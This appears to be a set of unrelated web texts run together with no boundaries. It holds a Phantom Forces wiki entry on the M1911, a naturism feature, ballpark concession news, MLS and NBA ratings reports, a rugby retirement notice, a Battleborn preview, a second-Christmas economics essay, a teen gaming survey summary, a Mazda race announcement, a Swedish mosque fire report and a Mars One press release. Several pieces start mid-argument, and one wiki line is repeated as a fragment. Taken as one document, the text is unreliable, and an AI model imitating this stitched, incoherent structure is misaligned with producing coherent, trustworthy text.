The model in-game is likely the M1911A1. This is due to the safety cleavers, lack of diamond reliefs surrounding the nails on the pistol grip and the shorter trigger. It comes with 2 frame colors by default; a nickel slide and a black receiver and features a red pistol grip.
In-Game
General Information
The M1911 has high overall damage, although slightly lower than both the Deagle and all revolvers. With the maximum damage, the M1911 is a two-shot-kill (2SK) against an uninjured enemy, but the 2SK range is only a mediocre 30 studs, including torso multipliers. The M1911 is a 3SK from 31 to 79 studs and a constant 4SK from 80 studs and beyond if a shot does not land in the torso. In terms of raw damage, it can be compared to the MP412 REX. The M1911 does not have the boosted headshot multiplier of the MP412 REX, but a headshot still deals serious damage, grace to the high raw damage.
Usage & Tactics
The M1911 fires quite fast, at 720 RPM, meaning a near unlimited rate-of-fire (RoF) cap when tapping the mouse, However, the magazine holds eight rounds, plus one in the chamber, which is on the lower end for the pistol category. In order to preserve ammunition, the high RoF must be managed with care. A user must have good trigger discipline and remain accurate in order to use the M1911 effectively in quick situations.
At medium range and over, if fired too quickly, the recoil will make the weapon inaccurate. Combined with the considerably lower magazine capacity, a user may easily expend their ammunition without achieving a kill. However, with some trigger control, the M1911 is capable of being used at longer distances. It only requires a 4SK at the end of its damage drop off, versus the M9's or G17's 5SK. In addition to this, with headshots, the M1911 will only require three shots-to-kill (STK) instead of four, thus lowering the time-to-kill (TTK) greatly.
Despite this, other weapons such as the Deagle, REX and the 1858 New Army fair much better, with all of them sporting 1SK headshot abilities. The Deagle and 1858 also have much better minimum damage, sporting a 3SK at the end of their damage drop off.
In Close-Quarters-Combat (CQC), spamming the trigger will most likely result in a kill, however, this will also greatly increase ammunition consumption and the likelihood of having to reload after one kill. As a sidearm, however, it offers great lethality, being able to take down enemies very quickly.
Conclusion
Overall, the M1911 is a solid sidearm, able to tackle enemies up close with ease with its high damage in CQC. However, it suffers from a lower magazine size and shorter damage drop-off range. Combined with the higher recoil, the M1911 punishes those who lack trigger discipline for longer-ranged combat but will reward players who take slow, accurate shots at such distances.
Pros & Cons
Pros:
High raw damage.
Fast RoF.
High DPS - assuming maximum RoF is achieved.
Very fast minimum TTK; assuming maximum RoF is achieved.
Quick reload time for its class.
Effective torso multiplier.
Clear iron sights.
Cons:
Small 2SK range (excluding torso or headshots).
High ADS recoil when spammed.
Suppressors take away its 2SK to the limbs up close.
Trivia
In the 3.0.0 update, the M1911 was given an extra round in its magazine making 8+1 rounds instead of 7+1 and the maximum damage became 52 instead of 50. In real life, original 1911 pistol magazines only hold 7+1 rounds. Many other aftermarket 1911-style pistols hold eight rounds, as seen in-game.
The M1911 was introduced in the Demo/Alpha stage of Phantom Forces and later removed upon release of the Beta for Phantom Forces. Many Alpha Testers were thrilled by its return. In the Alpha version, the M1911 actually had an underbarrel picatinny rail. It more closely resembled the M45A1 CQBP then it did the M1911A1.
There exists a Machine Pistol variant of the M1911, the MP1911.
The M1911 is still in limited use in the U.S Marine Corps (mainly under the M45A1 CQBP version) due to its reliability and higher stopping power than the 9x19mm.
Originally, in the test place, the rank required to unlock the M1911 was Rank 14.
Besides sharing ammo with all pistols (except Deagle and MP412), it also shares ammunition with the other in-game weapons chambered in .45 ACP.
The M1911's hammer length in-game is overexaggerated.
When using an optic attachment, the spring housing cover on the front is removed.
The M1911 in-game features aspects of both an M1911A1 as well as the M1911: the main spring housing on the rear of the grip is that of an M1911, whilst it features the trigger and the cutouts around the trigger as well as the beaver-tail of an A1 model. This may be an error, though it is possible that this is a custom model, as some people do prefer the original main spring housing because it fits their grip style better. The in-game 1911 also sports a full-length guide rod that is visible when the pistol locks open empty meaning it could very well be a custom 1911.
The front iron sights are green and the rear iron sights are red, giving it unique glowing iron sights in-game. These are dual-color sights and are used to allow the player to contrast between the front and back sights.
As with pistols like the G17, pressing T whilst using the M1911 will switch to the alternative aim option.
whilst using the M1911 will switch to the alternative aim option. This alternate aiming of the pistol is known as the side grip. The side grip is popularized in films such as Menace II Society. [2]
It’s the naked truth: as humans beings we enter this world resplendent in our birthday suits – an outfit that’s unique and intriguing, yet also unifying. Apparently, however, it’s not the celebrated form of attire in 21st Century Australia, as most of us remain buried under layers of synthetic materials throughout our lives. It would seem that we are, in fact, going against what is natural.
This, insists veteran naturist Stuart Whelan, is the precise principle that grounds the nudist lifestyle. It is by uncovering our largest sensory organ – the skin – that “we can relate more fully to our environment and therefore we feel more part of that environment”.
First, let’s strip it down to the basics. While nudism tends to merely refer to the practice of appreciating the freedom and experience of being clothes-free, naturism “is actually a life philosophy … that is respect for self, respect for others and respect for the environment. So that is achieved through the practice of social nudity.”
You may squirm a little at the thought of getting stuck into the daily grind in the nuddy, but Stuart is optimistic that general interest in this lifestyle is increasing in conjunction with the less conservative attitudes of today’s younger generations.
Nevertheless, he concedes that there’s still a long way to go. Naturism faces the immense challenge of disabling high levels of stigma and skepticism towards the practice, which is propagated by the inability of some to segregate nudity from sex. “I think that people don’t want to risk being misunderstood, even though everything about naturism and nudism is of a non-sexual basis,” says Stuart.
Twenty-eight-year-old Glen Donnelly has been a practising naturist for several years now, and he believes the ultimate downfall of the nudist movement Down Under can be attributed to the condition of the modern media, “where we have so much internet pornography, so much sexualised imagery of the human body in advertisements, in movies, in music videos, in the media – that’s all that people come to learn about the human body … they think that nudity can only possibly be a sexual thing.”
Glen first tried out nudism as a way of combating severe body image issues. A proficient classical musician, he became so self-conscious after being told he was “getting tubby”, that he began to suffer ongoing psychological and physical impairments that ultimately put a stop to his career as a performance musician.
He advises young people who are interested in naturism to join social media groups such as Facebook’s Young Aussie Nudists group or the International Young Naturists forum to be able to ask questions and keep informed of upcoming social events.
And just to clarify: nudists aren’t idiots. “If it’s not comfortable, if it’s not safe, if it’s not healthy, if it’s too cold, if you need to protect your skin for some sort of a job or some sort of situation – [wearing clothes] makes sense, of course!”
It makes you realise what a wonderful instrument [your body] is. So therefore you start to reassess what you’re putting into it; you have a greater awareness of your body and its functions.
But clothes aren’t the only things naturists are shedding. Here are a few reasons why this practice gets the thumbs up.
Naturism promotes social equality. In the absence of clothes establishing social and economic status, it's an equal playing field.
“Sun’s out, bum’s out!” Say hello to a glowing, even tan!
Nudity improves self-esteem. Stuart says, “It doesn’t matter what size, what shape – you realise very quickly that we’re all the same … and that what we’re being fed in the media is not reality.”
You can save big dollars on clothes and laundry.
Wearing swimmers really doesn't make sense. Bernard Rudofsky nailed it: “The custom of wearing a bathing suit, a desperate attempt to recapture some of our lost innocence, represents a graphic expression of white man’s hypocrisy. For, obviously, the bathing suit is irrelevant to any activity in and under water. It neither keeps us dry or warm, nor is it an aid to swimming. If the purpose of bathing is to get wet, the bathing suit does not make us wetter. At best, it is a social dress, like the dinner jacket.”
Nudity is an essential element of many cultures – particularly indigenous cultures. With “intruders” imposing their own standards on these tribes, ingrained cultural traditions are being disregarded.
Nudity promotes sexual health, while clothing draws attention to sexuality, rather than detracting from it. Studies have shown that industrialised nations with fewer hang-ups about nudity have lower rates of teen pregnancy.
Nudity promotes physical health. “It makes you realise what a wonderful instrument [your body] is. So therefore you start to reassess what you’re putting into it; you have a greater awareness of your body and its functions.”
Will you dare to go bare?
Hannah Hughes
Spring is in the air and that means a new baseball season has started! The Nationals have announced their new concessions, enhanced spaces, theme nights, and giveaways during their media tour. Here’s what to expect:
#1 – New Beer Pen near Red Porch
source: https://t.co/r6tgerHMqm
#2 – ShockTop has a VW Bus Bar
source: https://t.co/gJx6vko3K5
#3 – In the store, you can get your own customized Nationals ball cap.
Source: https://t.co/kNx7l1mIIT
#4 – New cocktail selection made with local spirits including Green Hat, Jos. A Mangus and District Distillery.
Source: https://t.co/yFr8rz3Obb
Source: https://t.co/Lj4MgnxIzf
#5 – Goose Island got a big pub
Source: https://t.co/GSj4zIdVgt
#6 – June 23 is Game of Thrones night at Nationals Park
Star Wars Day is May 27, 2017.
#7 – MGM has 8 dugout seats and they are SLICK!
Paired with Private video screens. Can only be purchased through MGM only.
Source: https://t.co/TpHWelsB7B
Source: https://t.co/Xr5gHqBljG
#8 – Custom Nationals Caps for College Nights
Source: pic.twitter.com/M7dXf16bOj
#9 – New Food Options: Footlong “Crab Queso with Virginia Ham” Hotdog, Chicken and Waffles and Babka Push Pops
Source: pic.twitter.com/AxEsWH3Xph
Source: pic.twitter.com/0OsVBq9a6t
Source https://t.co/XI1MsKiZNo
Source: pic.twitter.com/w7yJ5vGcuD
#10 – Devils Backbone (Va Brewery) will have Earned Rune Ale, only sold at Nats Park.
Source: https://twitter.com/fritzhahn/status/846761587545378816
It was also the first season for MLS under new television contracts with partners ESPN, Fox Sports, and Univision…. contracts it should be said that increased the league’s TV revenue five-fold from $18 million to $90 million. The new deal brought significant changes to Major League Soccer as a television property in the hopes of growing the league’s audience.
Perhaps the most important development was a concerted effort by the league and its television partners to develop a coherent programming strategy. For the first time, MLS finally found consistent broadcast windows with a Friday night game on Unimas followed by a Sunday doubleheader on ESPN and FS1. MLS had been plagued in years past by random start times for televised games where only the most loyal local fans and the rare people that still subscribe to a print edition of TV Guide could find them.
Did it work? Yes… to a modest extent.
All three networks experienced ratings growth throughout the regular season. UniMas and ESPN grew by 3% and 4% respectively while FS1 was the big winner, growing by 40% over what NBCSN had achieved the year before.
“I did sense people knew when the games were on, which is something we did not have before and it is a big deal,” lead ESPN soccer producer Chris Alexopoulos said. “Everybody’s trying to put everything into it and create a destination with consistency. From our perspective it worked out really well. I think it’s really important for MLS to create a known destination for soccer fans.”
Now not only was there a set time for MLS games each week, but the networks worked together to promote one another and took a vested interested in seeing the league as a whole experience growth.
“That was an adjustment for sure because the league really wanted to push that. It’s been a really good partnership with ESPN and FS1. Everybody was on board with it. I think everyone’s in it together,” Alexopoulos added.
Lead ESPN MLS analyst Taylor Twellman spoke about the importance of the new broadcast windows and creating consistency as something the league and its television partners have always longed for.
“Destination viewing has been something all of my predecessors and all of my colleagues and our executives have all desperately, desperately fought for, and all desperately, desperately wanted,” Twellman said.
But has the league truly achieved that goal of “destination viewing” for its nationally televised schedule? One of the biggest challenges MLS faces is that the league’s chosen broadcast window goes right up against the NFL on Sunday afternoons and evenings throughout the fall. That means that during the MLS Cup Playoffs, the most important American soccer games of the year have to go head-to-head with the biggest and baddest kid on the television block. And in spite of everything Roger Goodell and co. have done to seemingly torpedo the league’s growth, there’s no end in sight to the NFL’s ratings dominance. And just when is the MLS Cup Final scheduled this Sunday – 4 PM ET – right up against the late afternoon nationally televised NFL game.
The Conference Finals produced some of the most exciting soccer MLS has ever seen, but the television numbers were still far off what one might consider a success. The second leg of Columbus-NYRB drew 240,000 viewers on FS1 while the second leg of Portland-Dallas garnered an audience of 286,000 on ESPN. Both were dramatic contests that featured exciting, open soccer and drama to the very end. Nevertheless, both were easily defeated by indifferent college football matchups like UCF-USF (388,000 on ESPN). They also lagged well behind EPL games on NBCSN like Swansea-Liverpool (363,000) and Manchester City-Southampton (341,000).
With those numbers in mind, does Sunday really work as a long-term home for nationally televised Major League Soccer games? Or should MLS already be looking at other options to increase television growth?
“For me personally I think we should own and own with a vengeance Wednesday night,” Twellman said. “Tell me how many events are Wednesday night in this country. Yea, of course destination viewing is huge. It’s a huge part of the growth of Major League Soccer, but I also think it’s going to evolve. I think they’re going to look at it and say ‘What night can Major League Soccer in this country own the way Sunday is owned by the NFL for all of our lives?’”
This is the crux of the dilemma that MLS faces in 2015. All things considered, MLS conveys a spirit of optimism at the present time. Small market teams like Portland and Columbus (the 22nd and 32nd top American media markets respectively) and their fanbases still feel like they have the ability to contend consistently. Other top leagues around the world certainly can’t say that. More money is being spent on players than ever before. And it’s not just big-named European players who are coming to North America for the final chapters of their careers, either. MLS has also made key signings of players who are still very well and truly in their prime like newly crowned league MVP Sebastian Giovinco of Toronto FC, Mexican star Giovani Dos Santos, and USMNT players like Altidore, Dempsey, and Bradley. Expansion continues to move at turbo speed with teams in Atlanta, Minnesota, and a second Los Angeles team on the way. Attendance grew by 13% in 2015. These are all great signs for the league’s continued growth.
And yet, television ratings continue to be the one riddle that MLS can’t seem to find a way to solve, at least for the time being.
“It’s a question that anybody who has a real answer for it would make a lot of money.” former Crew striker and current ESPN analyst Alejandro Moreno said.
“Ultimately that’s the white elephant in the room,” Twellman said. “Television ratings. That’s what every owner is talking about, that’s what the Board of Directors will be talking about on Saturday, that’s what ESPN, Fox, everyone has to talk about. That’s the money maker. How do you get after and fix television ratings?”
Everyone from commissioner Don Garber to the executives at ESPN and Fox to the fans in Portland and Columbus and other MLS markets have been searching for those answers for a long time now. The MLS Cup Final hasn’t achieved even a 1.0 rating since 2001.
Perhaps the hope can be found in the other places the league is succeeding. Take the hosts of MLS Cup 2015 as an example. After serious questions a few years ago about whether the Crew had a viable home in Columbus, new owner Anthony Precourt and the front office have revitalized the entire franchise in short order on and off the pitch. While coach Gregg Berhalter has developed an exciting Eastern Conference winning squad, the rebrand to Columbus Crew SC (replacing kitschy construction workers with a world-class logo) has been a massive success. Crew SC has made no secret about emulating the success in markets like Portland and Kansas City to better connect with the local fanbase and the result is a rejuvenated soccer market looking forward to hosting their first home MLS Cup. Now it’s up to the television partners to translate that local success to the national level.
Medical tests have revealed Burns, who has been out of action since January, has damaged his aorta.
The 27-year-old, who won seven Wales caps, made his international debut against the Barbarians in June 2011.
"His enforced retirement has come as a massive shock to Lloyd and his family," said Dragons director Robert Beale.
Burns, who made 33 appearances for the Dragons, played for Cross Keys in the Principality Premiership before he emerged for the Men of Gwent.
His was a real rags to riches story, having been a bricklayer before he earned a contract with the Dragons and then being selected for Warren Gatland's 30-man Wales squad for New Zealand 2011.
He played in the pool games against Samoa, Namibia and Fiji, scoring his one and only international try against the Fijians.
Wales captain Sam Warburton and centre Jamie Roberts sent messages of support to Burns on Twitter.
Warburton said: "Terrible news, great player and guy, hope recovery goes well."
And Roberts, who is currently recovering from knee surgery, wrote: "Sad news about Lloyd Burns' retirement from rugby....great player, good bloke....here's to a speedy recovery."
Beale said everything Burns had achieved in life had been "earned through hard work and dedication".
First though, let me give you some context. Before I finally got my grubby paws on Battleborn, I saw it plenty thanks to an interview I stitched together for Zoe when she saw it pre-E3, and again when I edited an interview Alessandro conducted at E3 itself. Needless to say, I’ve seen enough b-roll footage to last me a lifetime.
I liked what I saw, but how does the game actually play? I couldn’t wait to find out first-hand. I teamed up with other journos, picked Thorn, a bow wielding badass, and got ready to powder everything in sight with my deadly arrows.
After a minute with the Battleborn, I felt right at home. It feels like Borderlands in many ways. Mobs of enemies? Check. Surprise mini-bosses? Absolutely! Even the look and feel, while slightly different to Gearbox’s previous shooter, still has Borderlands painted all over it. Is this a bad thing? Not in the slightest. It mostly feels familiar, and that’s great.
Where Battleborn begins to feel different however, is the way it plays out in terms of levelling and pacing. Oh, and it’s got a really huge roster – there are twenty-five characters to choose from, and each has their own unique weapons and abilities to play around with. This is where the MOBA elements really begin to shine through.
Players are given access to a helix system, which gives the choice of one of two buffs at each level (from 1-10). With Thorn, for example, I could upgrade her Blight, an ability that does damage to enemies in a large area, to give me a speed buff too if I ran through it. Alternately, I could’ve augmented it to curse my arrows as long as I was standing in its area of effect.
Having these different variations is a neat idea, except I can’t help but feel that it is somewhat limited. I played as Thorn once. Had I played as her a second time, I would’ve likely tried any helix ability I hadn’t chosen previously. Thereafter? I’m sure I would fall into the same levelling routine, choosing the abilities I preferred, over and over again.
Will this not makes things a tad boring in the long run? I think having more than two options per level (something similar to the talent system Heroes of the Storm basically) would really keep the experience fresh and interesting, allowing for true customisation, and a much better product overall. Balancing all of that though would be quite difficult, truth be told, so I’m really not sure if Gearbox will even consider doing it.
In terms of the actual gameplay, only one level was on offer. It was the exact same one I had seen over and over again while editing Zoe and Alessandro’s interviews, so I knew exactly where to go and what to do. There is very little breathing room, and each playthrough I did, 10-15 minutes each with three different characters, was packed to the brim with action. The problem is, by the third time I had defeated that last boss, I was surprisingly bored.
Will the same be applicable for the rest of the game? Will it be played once or twice and then completely forgotten? I’m uncertain. I’ve only seen a small slice of the overall picture, and while 25 playable characters provides a bunch of different ways to play the game, I’m really unsure if it will be enough to keep players hooked. I’m hoping Gearbox shed more light on the campaign in the near future.
That aside, I’m more interested to find out more about the competitive side of the game. Co-op (or solo) campaign is fun, but 5 v 5? That will be the real bread and butter, and if done properly, the part of the game that will keep players hooked for hundreds of hours. Until then, Battleborn remains on my to-watch-list, even if this hands on time did little to truly wow me.
To put it simply, if Battleborn cannot grab me – a Borderlands-loving, MOBA addict – then who exactly will it appeal to? Gearbox really have to have something special planned if they expect their new IP to be a success. There is a ton of potential, there really is. I’m just hoping that we don’t have another case of Evolve where everybody plays for a week or two and then moves on to the next new thing.
Battleborn promises to be good. In it’s current state though, I don’t see it sticking around for the long run. Here’s hoping that changes, because it’s the sort of game I would love to give another chunk of my life to.
But this fundamental reality is typically obscured from view by a tacit conspiracy between government statisticians, academics, and financial reporters who insist on using seasonally adjusted data to wipe the Christmas Miracle off the face of the economy. This is helpful when assessing public policy, because it lets you distinguish the impact of new policy ideas from the normal ups and downs of the calendar. But the tyranny of seasonally adjusted data does obscure some things that are quite important and have potentially useful lessons for the future. If the economy can boom each year at Christmastime, why can't we keep it in a Christmas-like state all the time? As great as Christmas is, we could all be living in a richer happier country if we added a second one.
The economic miracle of Christmas
Here is a standard seasonally adjusted chart of employment growth in the United States during the years 2011, 2012, and 2013:
Pretty boring stuff. But what if instead of using the standard seasonally adjusted data, I were to show you the actual data (red line)? It's much more dramatic:
What you are seeing here is a striking fact about the economy that you never see reported in the newspaper — every January, 2 million to 3 million Americans lose their jobs. The Bureau of Labor Statistics uses its algorithmic magic to make this annual depression go away. If "only" 2 million people are laid off this January, the seasonally adjusted statistics — the ones reporters write up — will say there was an employment boom, with hundreds of thousands of jobs created. It then typically takes until April or May for the economy to re-obtain the level of employment it enjoyed during the previous November and December.
Merry Christmas!
Gift-giving is amazing
I was raised in a Jewish household, and I'm a bit of a cold-hearted rationalist, so I am absolutely the jerk who was very impressed with Joel Waldfogel's article on the "Deadweight Loss of Christmas" when it first came out. His idea is pretty simple. If I buy you a $100 gift and you buy me a $100 gift, the odds are very good that we will end up worse off than we would have been had we each kept our $100 and just made our own purchasing decisions. The inefficiency introduced when people try to guess what other people want is the deadweight loss of his title.
Of course in the real world, nobody finds this persuasive because feelings blah blah blah.
But there's no reason to be fuzzy about it. The economic data shows clearly that the seasonal surge in demand — for presents, for travel to see family, for stuff to serve at holiday parties — is an unmitigated boon for the economy. It is true that the Christmas boom entails a certain amount of waste, but waste amidst a surge of prosperity is clearly preferable to the bleak austerity of January and February.
Now what is true is that this seasonal boom-and-bust cycle is highly inefficient, as George Mason University's Tyler Cowen has argued. But as the great British economist John Maynard Keynes argued decades ago, "the right remedy from the trade cycle is not to be found in abolishing booms and thus keeping us permanently in a semi-slump; but in abolishing slumps and thus keeping us permanently in a quasi-boom." Keynes was talking about monetary policy rather than Christmas presents, but the same principle applies. We ought to add a second Christmas sometime in the spring to keep us permanently in a quasi-boom.
Second Christmas is affordable
The biggest skeptical reaction I get about my plan for a holiday-induced permanent boom is that people simply imagine themselves spending more cash on presents, and in exchange receiving more gifts. This conjures up a world of lower savings, higher credit card debt, and (whether they use the term or not) more deadweight loss.
This reaction ignores the systematic impact of Christmas. Every dollar you spend is a dollar of income for someone else. This is most obvious in the case of the millions of people disemployed by the annual January bust, or for service workers who enjoy holiday tips. Those incomes, when earned, would be spent on buying goods and services from other people, increasing the overall level of prosperity.
Indeed, even industries that don't exhibit an obvious seasonal character are influenced by the Economic Miracle of Christmas. Here in the Content Game, for example, we normally experience holidays as a lull in the news cycle and web readership. But advertising revenue inevitably peaks in the fourth quarter (as brands try to capture holiday shoppers' eyes) and craters in the first. A Second Christmas would stabilize ad revenue and allow higher editorial budgets all year round. Airlines and hotels would invest to add capacity to meet this higher level of year-round demand. The overall national rate of consumption needn't rise, just its level, with incomes rising in tandem.
Yes, I am serious
It's important to recognize that for tens of millions of observant Christians around the world, the day is first and foremost a religious holiday that can't be replicated. Christmas-wise, we are talking pretty strictly about the gifts-and-family aspects of the holiday, and this can all sound a bit silly. So let's return to something very serious. In November, the (seasonally adjusted) unemployment rate was 5.8 percent. Everyone can agree, I think, that if the unemployment rate were to spike to 6.3 percent that it would be a bad sign for the American economy. People would complain — loudly — that something had gone wrong. And yet the seasonal adjustment algorithm expects a 0.5 percentage points increase in the unemployment rate each and every January.
The first fact to jump out from the survey is how many people game, 97 percent of children and teenagers ages 12 to 17 claim to have played some kind of video game, with 99 percent of boys and 94 percent of girls saying they play games. The number drops when you look at daily gamers, 65 percent of daily gamers are male while 35 percent of daily gamers are female. The most popular genres? Surprisingly, racing comes in first with 74 percent of teens playing games like Mario Kart or Gran Turismo, with puzzle games a close second at 72 percent and sports games coming in third with 68 percent.
Gaming is also a social activity, with 65 percent of teens playing games with others in the room with them, while 27 percent of teens are playing online. Eighty-two percent of teens say they play games alone, although 72 percent of gamers in that group also play games with others. That's a long set of numbers that prove that gaming has become a way for teens to socialize, and is more often than not a social activity with their peers, not an antisocial hobby enjoyed alone in the room. Online gaming is also just a tool to do more socializing, as 47 percent of teens are playing online with people they know in real life.
Online gaming and... political involvement?
Here's the kicker: if you're playing games with others in the room, you're trending slightly toward a politically active life. If you're playing games with others and you're a teenager, you have a 65 percent chance of going online for political news, compared to 60 percent of those who do not. You also have a 26 percent chance that you have persuaded others in how to vote, compared to 19 percent who do not. OK, these aren't huge gaps, but it does seem to show that those who play games with others are slightly more engaged in politics.
Interestingly enough, teens who take part in social interactions about games, such as discussing them online, seem to be more engaged politically as well. Eighteen percent of those teens who play games and engage in social interaction related to games have participated in protests in some manner over the last year, compared to eight percent who aren't social gamers. That confirms a long-held belief that people who comment on game reviews are loud people who aren't interested in a real dialog... I kid because I care.
The last important piece of information to be gained from this study was how parents viewed games, and among the respondents it doesn't seem like parents had any strong reactions: 62 percent of parents whose kids play games say the gaming hasn't been a positive or negative influence, with 19 percent saying it's a positive influence. Parents who have children who don't play games are much more negative in their assessment, with 55 percent saying gaming is a negative influence and only three percent seeing it as a positive influence.
Data source: Pew
While the amount that gaming affects civic activities may be enough to write about, the data shows many other things about gaming: children and teens are almost all playing, they play many different kinds of games, and parents are starting to see the activity as just another way their kids spend their time. Also, gaming is a way for teenagers to socialize. This data also makes it more difficult to link gaming to negative, anecdotal trends. After all, when every teenager is gaming, every teenager will be "found to be a gamer" when it suits news outlets.
The two-race, total points event will be hosted at Mazda Raceway Laguna Seca on October 12-15. Registration is now open at MazdaMotorsports.com to all race car drivers around the world, excluding Mazda Motorsports’ factory drivers.
Previously known as the Global Mazda MX-5 Cup Invitational, this high-stakes challenge met success in its inaugural race last year, with 19 racers from the US, Japan, Australia, the U.K., Sweden, Poland, Germany and Switzerland competing.
“Mazda MX-5 racing is known to be intense, from grassroots to professional levels,” David Cook, business development manager of Mazda Motorsports said. “The Battery Tender Global Mazda MX-5 Cup presented by BFGoodrich Tires is our signature spec sports car series within the US. It is our intention to make the Global MX-5 Cup Challenge the pinnacle of spec sports car racing in the world.
“Last year, our focus was to get this event off the ground and to showcase our brand-new car to racers and media beyond the US. Now, it’s about showing everyone what the top racers in the world can do in our Global MX-5 Cup car."
Racers will need to have an INDYCAR license to compete, as it is the sanctioning body of MX-5 Cup. The first place winner is awarded $75,000, second place receives $25,000 and third place receives $10,000.
Format:
· Two 45-minute races with points awarded.
· Races will be run to the same sporting and technical regulations as regular season MX-5 Cup races.
Eligibility requirements:
· Interested racers must apply for, and receive approval for, an INDYCAR-issued MX-5 Cup license to compete. All Mazda teams are eligible to enter.
"There is nothing that indicates that anybody from outside the mosque wanted to cause any harm," Fredrik Wallén, a regional police spokesman, said in a statement on Friday.
Around 70 people were in the mosque when the fire took hold on Christmas Day and many of them fled through windows to escape.
Anti-racism rallies attracted thousands of people in the days following the fire which took place around the same time as two similar incidents at Swedish mosques in Eslöv and Uppsala.
Mosque fire threatens Sweden's paradise reputation
Wallén dismissed initial reports which suggested that the fire started after someone threw a burning object into the building, leading to much speculation that the alleged attack was an anti-Islamic hate crime.
"Information that someone or some people would have thrown something into the mosque can be dismissed. There is nothing in our investigation that confirms that that is about anything other than completely unfounded rumours among spectators at the scene," said Wallén.
Forensic teams said on Friday that the fire started in a pile of clothes in a room next to the prayer room, used as a coat room. Visitors to the mosque, including children, are believed to have been in the room at the time.
"We don't know why the fire started, but it could have by accident or by children playing with fire," Wallén said.
Rumours emerging last week that the blaze was started by an overheated deep fryer have been completely dismissed and were never part of the investigation, according to Swedish police and fire services.
This 2018 mission will be a demonstration mission and will provide proof of concept for some of the technologies that are important for a permanent human settlement on Mars; the ultimate goal of the non-profit Mars One foundation.
Bas Lansdorp, M.Sc., Mars One Co-founder and CEO stated, “We’re very excited to have contracted Lockheed Martin and SSTL for our first mission to Mars. Both are significant players in their field of expertise and have outstanding track records. These will be the first private spacecraft to Mars and their successful arrival and operation will be a historic accomplishment.”
The Lockheed Martin lander will be based on the successful 2007 NASA Phoenix mission spacecraft and will demonstrate some of the technologies required for the manned mission. Lockheed Martin has a distinct legacy of participating in nearly every NASA mission to Mars. For the Phoenix mission, the company designed, built, tested and operated the lander for NASA.
“This will be the first private mission to Mars and Lockheed Martin is very excited to have been contracted by Mars One. This is an ambitious project and we’re already working on the mission concept study, starting with the proven design of Phoenix,” said Ed Sedivy, Civil Space chief engineer at Lockheed Martin Space Systems. “Having managed the Phoenix spacecraft development, I can tell you, landing on Mars is challenging and a thrill and this is going to be a very exciting mission.”
The lander will have the ability to scoop up Martian soil with a robotic arm similar to the Phoenix mission. A water experiment will extract water from the Martian soil. A power experiment will demonstrate the deployment and operation of thin-film solar panels on the surface, and a camera on the lander will be used to make continuous video recordings.
The demonstration satellite will provide a high bandwidth communications system in a Mars synchronous orbit and will be used to relay data and a live video feed from the lander on the surface of Mars back to Earth. Sir Martin Sweeting, Executive Chairman of SSTL said: “SSTL believes that the commercialisation of space exploration is vital in order to bring down costs and schedules and fuel progress. This study gives us an unprecedented opportunity to take our tried and tested approach and apply it to Mars One’s imaginative and exhilarating challenge of sending humans to Mars through private investment.”
The lander will also carry the winner of a worldwide university challenge that Mars One will launch in 2014 and items from several Science, Technology, Engineering and Mathematics (STEM) education challenge winners.
Arno Wielders, Co-founder and CTO of Mars One, said, "With our 2018 missions, Mars One brings the settlement of Mars one step closer to reality. The demonstration of water production on Mars is crucial for manned missions. The live video feed from the surface camera will bring Mars closer to people on Earth. And with the STEM education challenges and university competitions planned on our lander, we will enthuse a whole new generation for Mars exploration, even before our first crew lands."
Mars One decided to launch the lander and communications satellite in 2018, two years later than Mars One's original schedule. This new schedule provides time for the development for the two spacecraft and for student participation in STEM and university challenges.
Mars One’s mission will not be financed by government-funded organizations. Instead, means of funding the mission include sponsorships and exclusive partnerships. Mars One is in discussion with several partners interested to participate in specific components of the mission or to partner in the STEM and university challenges. Mars One is also launching an Indiegogo crowdfunding campaign that enables people to participate in this mission to Mars. Among other things, contributors will be granted voting rights for several mission decisions up for vote in the future, including the winners of the STEM and University Challenges.
“Landing the first humans on Mars should be everyone’s mission and not just the mission of one country or organization” said Lansdorp. “Our 2018 mission will change the way people view space exploration as they will have the opportunity to participate. They will not only be spectators, but also participants. We think it is important to involve people from all over the world in what we’re doing, and crowdfunding and crowdsourcing activities are important means to do that.”
About Mars One
Mars One is a not-for-profit foundation that will establish a permanent human settlement on Mars. Human settlement on Mars is possible today with existing technologies. Mars One mission plan integrates components that are well tested and readily available from industry leaders worldwide. The first footprint on Mars and lives of the crew thereon will captivate and inspire generations; it is this public interest that will help finance this human mission to Mars.
Mars One's Indiegogo Crowdfunding campaign can be found at: www.indiegogo.com/projects/mars-one-first-private-mars-mission-in-2018
More information about Lockheed Martin can be found at: www.lockheedmartin.com
Winning the night on cable for TNT, the Cavs’ victory over the Boston Celtics and the Rockets triumph over current champs the Golden State Warriors snagged an average of 4.9 million viewers. Or to put in the true dunk context, that’s a whooping 53% over the 3.2 million that the 2016 season doubleheader opener of October 25 last year delivered.
On a night that saw sister station TBS with the most watched single show of the night with the 6 million tuning in for the L.A. Dodgers’ NLCS Game 3 win over the Chicago Cubs, Tuesday’s NBA opener hit a near record.
LeBron James and the Cavs’ 102-99 battle against the Celtics pulled in 5.6 million sets of eyeballs. That’s up a massive 95% leap from the 2.9 million total audience of last year’s opening game that saw the Ohio team take on the NY Knicks. It is also the second most watched NBA opening game ever on TNT and the fifth most watched game the outlet has ever had.
Not hitting those heights, the Rockets win over the Warriors still was up double digits itself with an average of 4.2 million watching the second game of the night. That’s a 22% lift over last year’s Warriors vs. Spurs game.
PREVIOUSLY, 10:21 AM: The opening of the NBA season on Tuesday was a good night for the Cleveland Cavaliers and the Houston Rockets and it was a very good night for TNT – and TBS and MLB as the Los Angeles Dodgers look poised for a World Series perch.
In meter market results, the doubleheader start of the 2017-2018 b-ball season delivered a 3.5 rating for the Turner cabler. Not only did that LeBron James and Cavs 102-99 win over the Boston Celtics and the Rockets’ dramatic 122-121 victory over current champs the Golden State Warriors rise 46% over last year’s October 25 opener but it was clear win over all of cable.
Breaking things down to the individual games, things prove an even more dramatic ratings dunk with double digits rises in both cases. For the first game in the Ohio city, which started with Cavs players linking arms in protest and solidarity during the national anthem, there was an 82% uptick from last year’s New York Knicks vs. the then NBA champs season opener. Last night’s Cavs vs. Celtics court battle drew a 4.0 MM rating with a peak of a 4.8 in the 10:15 – 10:30 PM ET slot.
This was of course all happening as over on that other Turner outlet TBS the L.A. Dodgers continued their unbeaten National League Championship Series streak to beat the Chicago Cubs 6-1 in Game 3 last night in the City of Angels. Up 26% in MM ratings over 2016’s Game 3 with 4.3 result, last night’s MLB game was the highest rated single program on all of cable – as tonight’s potentially Cubs eliminating Game 4 could be. And, for you locals, the 14.4 MM rating that Game 3 hit in L.A. last night was the best any Dodgers game has done on any net since such records started being tabulated in 1998.
